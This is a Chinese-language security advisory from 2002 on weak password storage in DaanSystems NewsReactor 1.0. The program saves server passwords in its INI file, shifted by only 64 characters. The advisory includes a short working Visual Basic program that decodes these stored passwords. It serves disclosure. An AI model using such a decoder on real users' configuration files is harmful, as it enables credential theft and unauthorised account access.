|
|
DaanSystems NewsReactor 加密不够强壮漏洞
发布时间：2002-01-25
更新时间：2002-01-25
严重程度：高
威胁程度：口令恢复
错误类型：设计错误
利用方式：服务器模式
BUGTRAQ ID：3927
受影响系统DaanSystems NewsReactor 1.0
- Microsoft Windows 2000 Advanced Server
- Microsoft Windows 2000 Advanced Server SP1
- Microsoft Windows 2000 Advanced Server SP2
- Microsoft Windows 2000 Professional
- Microsoft Windows 2000 Professional SP1
- Microsoft Windows 2000 Professional SP2
- Microsoft Windows 2000 Server
- Microsoft Windows 2000 Server SP1
- Microsoft Windows 2000 Server SP2
- Microsoft Windows 95
- Microsoft Windows 95 SR2
- Microsoft Windows 98
- Microsoft Windows 98SE
- Microsoft Windows ME
- Microsoft Windows NT Enterprise Server 4.0
- Microsoft Windows NT Enterprise Server 4.0SP1
- Microsoft Windows NT Enterprise Server 4.0SP2
- Microsoft Windows NT Enterprise Server 4.0SP3
- Microsoft Windows NT Enterprise Server 4.0SP4
- Microsoft Windows NT Enterprise Server 4.0SP5
- Microsoft Windows NT Enterprise Server 4.0SP6
- Microsoft Windows NT Enterprise Server 4.0SP6a
- Microsoft Windows NT Server 4.0
- Microsoft Windows NT Server 4.0SP1
- Microsoft Windows NT Server 4.0SP2
- Microsoft Windows NT Server 4.0SP3
- Microsoft Windows NT Server 4.0SP4
- Microsoft Windows NT Server 4.0SP5
- Microsoft Windows NT Server 4.0SP6
- Microsoft Windows NT Server 4.0SP6a
- Microsoft Windows NT Terminal Server 4.0
- Microsoft Windows NT Terminal Server 4.0SP1
- Microsoft Windows NT Terminal Server 4.0SP2
- Microsoft Windows NT Terminal Server 4.0SP3
- Microsoft Windows NT Terminal Server 4.0SP4
- Microsoft Windows NT Terminal Server 4.0SP5
- Microsoft Windows NT Terminal Server 4.0SP6
- Microsoft Windows NT Terminal Server 4.0SP6a
- Microsoft Windows NT Workstation 4.0
- Microsoft Windows NT Workstation 4.0SP1
- Microsoft Windows NT Workstation 4.0SP2
- Microsoft Windows NT Workstation 4.0SP3
- Microsoft Windows NT Workstation 4.0SP4
- Microsoft Windows NT Workstation 4.0SP5
- Microsoft Windows NT Workstation 4.0SP6
- Microsoft Windows NT Workstation 4.0SP6a
- Microsoft Windows XP Home
- Microsoft Windows XP Professional 详细描述
NewsReactor 一款WINDOWS下的共享程序。
NewsReactor配置后会把服务器的配置信息存放到NewsReactor.ini文件中。而访问
新的服务器的密码不安全的不存在在此文件中。密码简单的把ASCII字符向上移动
了64个字符。
测试代码
下面是VB的破解密码的程序：
Private Sub Form_Load()
Dim YourPass As String, PrintPass As String
YourPass = InputBox("Enter in the encrypted password below.")
For x = 1 To Len(YourPass)
PrintPass = PrintPass & Chr(Asc(Mid(YourPass, x, 1)) - 64)
Next
MsgBox "Password: " & PrintPass
End
End Sub
解决方案
尚无
相关信息
参考：http://www.securiteam.com/windowsntfocus/5SP0P0K60C.html
相关主页：http://www.daansystems.com/newsreactor
|
